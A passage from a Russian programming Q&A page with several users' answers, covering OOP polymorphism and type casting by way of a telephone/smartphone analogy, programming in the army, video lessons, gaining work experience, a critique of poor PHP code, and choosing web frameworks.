    А теперь представьте другого пользователя, нашего современника. Он вырос в эпоху смартфонов... но если ему в руки дать старый телефонный аппарат, он тоже сможет сделать звонок, т.к., опять же, знает метод набратьНомер().

    Применительно к ООП, пользователь - это переменная, содержащая ссылку на экземпляр класса. Ее тип (как она была объявлена) - это "набор знаний" о возможностях этого экземпляра. И т.к. Смартфон в своей основе является Телефон-ом, мы вполне можем дать его в руки гипотетическому пользователю из 80-х:
    Телефон устройство = new Смартфон();
    в результате чего он сможет сделать звонок:
    устройство.набратьНомер("03");
    А вот определить свое местоположение он не сможет, пока не узнает о существовании соотв. метода:
    Смартфон усовершенствованноеУстройство = (Смартфон)устройство;

    Это называется приведением типа. В данном примере у экземпляра класса уже был соотв. метод, но чтоб им воспользоваться, нужно сначала явно указать, что мы хотим рассматривать имеющееся у нас в руках устройство не как "простой" Телефон, а как Смартфон.

    P.S. Кстати, в этом примере мы затронули не только полиморфизм, но и наследование, и инкапсуляцию (пользователя "снаружи" совершенно не интересует, как именно производится набор номера - тонально, импульсно или еще как-то иначе)... так сказать, все три кита ООП в одном флаконе. И только так вообще имеет смысл рассматривать эти принципы, т.к. они по сути неотделимы друг от друга, как Отец, Сын и Святой Дух в Христианстве или же длина, ширина и высота в трехмерном пространстве :) Если это понять, ООП становится совершенно простой и естественной парадигмой программирования.
    Ответ написан
    8 комментариев
  • Как в армии с программированием?

    Denormalization
    @Denormalization
    В армии пригодится умение бегать 20км, и спать с открытыми глазами.
    Ответ написан
    Комментировать
  • Зачем видеоуроки программисту?

    swanrnd
    @swanrnd
    Издатель HTML5 игр
    А зачем преподаватели в университетах читают лекции? Можно же отправить книжку почитать)

    Единственное отличие, это не возможность задать вопросы после лекции.

    Тут главное, качественные преподаватели, а не школьник который записал скринкаст, а их дофига.
    Ответ написан
    2 комментария
  • Получение опыта!? Замкнутый круг или безвыходная ситуация?

    newross
    @newross
    Product owner
    Что за надуманная проблема? Где тут замкнутый круг? В 99.99% случаев банальная лень мешает получить опыт.
    Ведь реально существует 100500 вариантов получить опыт и иногда даже заработать:
    - банальные стажировки;
    - многие крупные компании имеют свои учебные центры, некоторые даже стипендию платят;
    - фриланс помогает набить руку на мелких проектах и наработать портфолио;
    - низкооплачиваемая работа разработчиком во всяких НИИ и на заводах может быть первым шагом к большим компаниям;
    - коммиты в открытые проекты;
    - свои проекты в конце концов.
    Ответ написан
    5 комментариев
  • Это говнокод? Если да, то в чем именно я провинился?

    Fesor
    @Fesor
    Full-stack developer (Symfony, Angular)
    Да, это говнокод. А чем провинились я устану перечислять

    - $GLOBALS и использоваие суперглобальных массивов
    - использование собачки для подавления ошибок
    - for($count=0;isset($block[$count]);$count++) и стремные бесконечные циклы вместо foreach
    - переменные вида $ppfile и $pppfile, ваш код очень "удобно" читать.
    - смешивание php и html и css
    - по сути код состоит преимущественно из канкатенации строк... это грустно
    - использование закрывающего тега ?>
    Ответ написан
    8 комментариев
  • Кто-нибудь использует много веб-фреймворков в новой разработке?

    copist
    @copist
    Empower people to give
    Во-первых, это вопрос личных предпочтений и предпочтений команды.
    Во-вторых, это требования обстоятельств при промышленной эксплуатации.

    На старте, обычно, выбирается то, что лучше знаешь. Да хоть бы и без фреймворков. Переключаться на старте - это тратить время впустую. Главная задача - получить MVP.

    После получения MVP (Minimum Viable Product) и "зелёного света" на промышленную разработку, можно оценить результаты тестирования на потенциальных потребителях, выяснить предполагаемую нагрузку и, при необходимости, пересмотреть платформу. Сменить программную или аппаратную архитектуру, язык программирования или их комбинацию, фреймворк - стек технологий это называется.

    Через некоторое время после начала промышленной эксплуатации могут возникнуть проблемы, связанные с неверно выбранной архитектурой или недостаточной производительностью. Команда выбрает путь: допилить текущее решение, использовать альтернативное решение или написать ещё раз с учётом возникших обстоятельств.

    Есть проекты, которые жёстко костылят и они таким образом живут годы. Вплоть до того, что там PHP4 и отображение прямо в файлах с бизнес-логикой, зато страницы выдаются за миллисекунды.
    Есть проекты, которые уже несколько раз переписывали с нуля, потому что охренеть какая сложная штука получается и без достаточно высокого уровня абстракции его очень сложно наращивать.
    Есть те, где не костылили и не меняли платформу, а просто увеличили производительность сервера до небес.
    Ответ написан
    Комментировать